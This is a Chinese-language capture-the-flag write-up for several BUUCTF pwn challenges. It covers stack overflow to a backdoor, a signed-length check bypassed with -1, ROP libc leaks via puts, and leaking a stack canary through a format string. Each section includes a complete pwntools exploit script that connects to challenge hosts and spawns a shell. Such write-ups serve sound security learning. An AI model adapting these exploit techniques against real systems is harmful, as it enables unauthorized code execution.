覆盖返回地址

bjdctf_2020_babystack

存在一个backdoor函数,可以直接执行bin/sh

image-20210707123627349

输入长度后,栈溢出即可

这里可能是定义了一个栈上的局部变量buf,所以是可以覆写到返回地址的

image-20210707125248171

写到__libc_csu_init后,也就是3*8的padding

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

p = remote('node4.buuoj.cn', 27309)
p.sendlineafter('of your name:\n', '100')
payload = 'a' * 24 + p64(0x4006e6)
p.sendlineafter('u name?\n', payload);
p.interactive()

image-20210707140901817

bjdctf_2020_babystack2

对比前一题多了一个判断,但是是强转的有符号数,因此用-1就可以绕过

image-20210708233316876

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

p = remote('node4.buuoj.cn', 28805)
p.sendlineafter('of your name:\n', '-1')
payload = 'a' * 24 + p64(0x400726)
p.sendlineafter('u name?\n', payload);
p.interactive()

Rop

bjdctf_2020_babyrop

开启了NX,且没有bin/sh,使用rop

image-20210708234355359

这里是2.2.5的libc,和虚拟机不一样,使用glibc-all-in-one和patchelf

首先用glibc-all-in-one下载glibc

1
sudo ./build 2.25 amd64

然后patchelf

1
2
patchelf --set-interpreter /glibc/2.25/amd64/lib/ld-2.25.so bjdctf_2020_babyrop
patchelf --replace-needed libc.so.6 /glibc/2.25/amd64/lib/libc-2.25.so bjdctf_2020_babyrop

ldd查看一下,patch成功

image-20210713235227891

可以先试着找到puts函数 泄露出libc偏移

image-20210709000523209

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
import code

context.log_level = 'DEBUG'

p = process('bjdctf_2020_babyrop')
elf = ELF('bjdctf_2020_babyrop')


pop_rdi = 0x400733
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.symbols['main']
p.recv()
# 打印出puts地址后,返回到main函数
payload1 = 'a' * 0x28 + ''.join(map(p64, [pop_rdi, puts_got, puts_plt, main]))
p.sendline(payload1)
# 将地址补全到8位
puts_libc = u64(p.recv(6).ljust(8, '\x00'))
print hex(puts_libc)
p.recv()

然后将puts_libc减去puts地址得到libc偏移

1
2
libc = elf.libc
libc_base = puts_libc - libc.symbols['puts']

之后直接用system函数调用即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher import *
import sys
import code

context.log_level = 'DEBUG'

reload(sys)
sys.setdefaultencoding("utf-8")

# p = process('rop')
p = remote('node4.buuoj.cn', 27296)
elf = ELF('rop')

padding_len = 0x28

pop_rdi = 0x400733
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.symbols['main']
p.recv()
# 打印出puts地址后,返回到main函数
payload1 = 'a' * padding_len + ''.join(map(p64, [pop_rdi, puts_got, puts_plt, main]))
p.sendline(payload1)
# 将地址补全到8位
puts_libc = u64(p.recv(6).ljust(8, '\x00'))
print hex(puts_libc)
p.recv()

# # ROPgadget --binary libc文件 | grep ...
libc=LibcSearcher('puts', puts_libc)
libcbase_addr = puts_libc - libc.dump('puts')
system_addr = libcbase_addr+libc.dump('system')
binsh_addr = libcbase_addr+libc.dump('str_bin_sh')


payload2 = 'a' * padding_len + ''.join(map(p64, [pop_rdi, binsh_addr, system_addr]))
p.sendline(payload2)
p.interactive()

babyrop2

image-20210714091232859

checksec发现开启了金丝雀

image-20210714091309210image-20210714091325847

程序中存在格式化字符串漏洞和溢出点,可以用printf打印出canary然后再用rop链

由于开启金丝雀后,在每个函数返回时都会checkstackimage-20210714093124669

所以运行到call printf时,把栈底8位打印出来就可以,使用%X$p

image-20210714093315608

image-20210714093636387

确实可以打印

然后可以写exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher import *
import sys
import code

context.log_level = 'DEBUG'

reload(sys)
sys.setdefaultencoding("utf-8")

# p = process('rop2')s
p = remote('node4.buuoj.cn', 28392)
elf = ELF('rop2')


payload = '%7$p'
p.sendlineafter('gift to help u!\n', payload)
addr = p.recvuntil('\n')
canary = int(addr,16)

padding = 'a' * (0x20 - 8) + p64(canary) + 'a' * 8

pop_rdi = 0x400993
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = elf.symbols['vuln']
# 打印出puts地址后,返回到main函数
payload1 = padding + ''.join(map(p64, [pop_rdi, puts_got, puts_plt, vuln]))
p.sendlineafter('me u story!\n', payload1)
# 将地址补全到8位
puts_libc = u64(p.recv(6).ljust(8, '\x00'))
print hex(puts_libc)

# # ROPgadget --binary libc文件 | grep ...
libc=LibcSearcher('puts', puts_libc)
libcbase_addr = puts_libc - libc.dump('puts')
system_addr = libcbase_addr+libc.dump('system')
binsh_addr = libcbase_addr+libc.dump('str_bin_sh')


payload2 = padding + ''.join(map(p64, [pop_rdi, binsh_addr, system_addr]))
p.sendlineafter('me u story!\n', payload2)
p.interactive()